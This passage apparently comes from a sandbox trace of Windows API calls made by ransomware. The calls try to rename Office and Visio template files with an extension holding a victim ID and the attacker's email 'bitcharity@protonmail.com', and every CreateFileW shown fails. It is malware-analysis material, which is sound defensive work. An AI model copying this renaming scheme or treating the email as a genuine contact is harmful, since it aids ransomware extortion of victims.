(in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.433] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\LTHD98.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\lthd98.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.433] CloseHandle (hObject=0x1114) returned 1 [0271.434] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.434] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\LTHD98SP.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\lthd98sp.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.434] CloseHandle (hObject=0x1114) returned 1 [0273.069] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.069] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\LTHDHM.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\lthdhm.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.339] CloseHandle (hObject=0x1278) returned 1 [0274.439] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.439] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\AUDIT_SEVERAL_OUTCOMES_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\audit_several_outcomes_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.439] CloseHandle (hObject=0x1154) returned 1 [0274.441] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.441] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DIMENG_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\dimeng_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.441] CloseHandle (hObject=0x1154) returned 1 [0274.442] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.442] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DOCUMENT_APPROVAL_WORKFLOW_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\document_approval_workflow_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.442] CloseHandle (hObject=0x1154) returned 1 [0274.443] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.443] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DOCUMENT_APPROVAL_WORKFLOW_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\document_approval_workflow_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.443] CloseHandle (hObject=0x1154) returned 1 [0274.444] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.444] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DRAWTL_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\drawtl_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.445] CloseHandle (hObject=0x1154) returned 1 [0274.445] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.445] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DRAWTL_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\drawtl_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.445] CloseHandle (hObject=0x1154) returned 1 [0274.446] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.446] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DRILLD_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\drilld_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.446] CloseHandle (hObject=0x1154) returned 1 [0274.447] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.447] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DRILLD_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\drilld_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.447] CloseHandle (hObject=0x1154) returned 1 [0274.448] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.448] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DRILLD_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\drilld_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.448] CloseHandle (hObject=0x1154) returned 1 [0274.452] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.452] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DRILLD_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\drilld_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.452] CloseHandle (hObject=0x112c) returned 1 [0274.453] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.453] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DTLNET_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\dtlnet_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.453] CloseHandle (hObject=0x112c) returned 1 [0274.454] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.454] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DTLNET_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\dtlnet_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.454] CloseHandle (hObject=0x112c) returned 1 [0274.455] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.455] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DTLNET_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\dtlnet_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.455] CloseHandle (hObject=0x112c) returned 1 [0274.456] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.456] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DTLNME_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\dtlnme_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.456] CloseHandle (hObject=0x112c) returned 1 [0274.457] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.457] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DTLNME_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\dtlnme_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.457] CloseHandle (hObject=0x112c) returned 1 [0274.459] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.459] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DTLNME_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\dtlnme_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.459] CloseHandle (hObject=0x112c) returned 1 [0274.460] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.460] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DTLNME_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\dtlnme_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.460] CloseHandle (hObject=0x112c) returned 1 [0274.461] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.461] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DVCALL_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\dvcall_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.461] CloseHandle (hObject=0x112c) returned 1 [0274.463] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.463] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DVCALL_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\dvcall_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.464] CloseHandle (hObject=0x1154) returned 1 [0274.465] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.465] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DWGCNV_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\dwgcnv_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.465] CloseHandle (hObject=0x1154) returned 1 [0274.466] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.466] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DWGCNV_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\dwgcnv_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.466] CloseHandle (hObject=0x1154) returned 1 [0274.467] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.467] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EECHIP_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eechip_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.467] CloseHandle (hObject=0x1154) returned 1 [0274.469] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.469] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EECHIP_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eechip_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.469] CloseHandle (hObject=0x1154) returned 1 [0274.470] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.470] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EECHIP_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eechip_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.471] CloseHandle (hObject=0x1154) returned 1 [0274.472] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.472] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EECHIP_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eechip_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.472] CloseHandle (hObject=0x1154) returned 1 [0274.474] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.474] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EECOMP_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eecomp_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.474] CloseHandle (hObject=0x1154) returned 1 [0274.475] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.476] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EECOMP_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eecomp_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.476] CloseHandle (hObject=0x1154) returned 1 [0274.477] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.477] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EEFUND_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eefund_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.477] CloseHandle (hObject=0x1154) returned 1 [0274.478] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.478] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EEFUND_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eefund_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 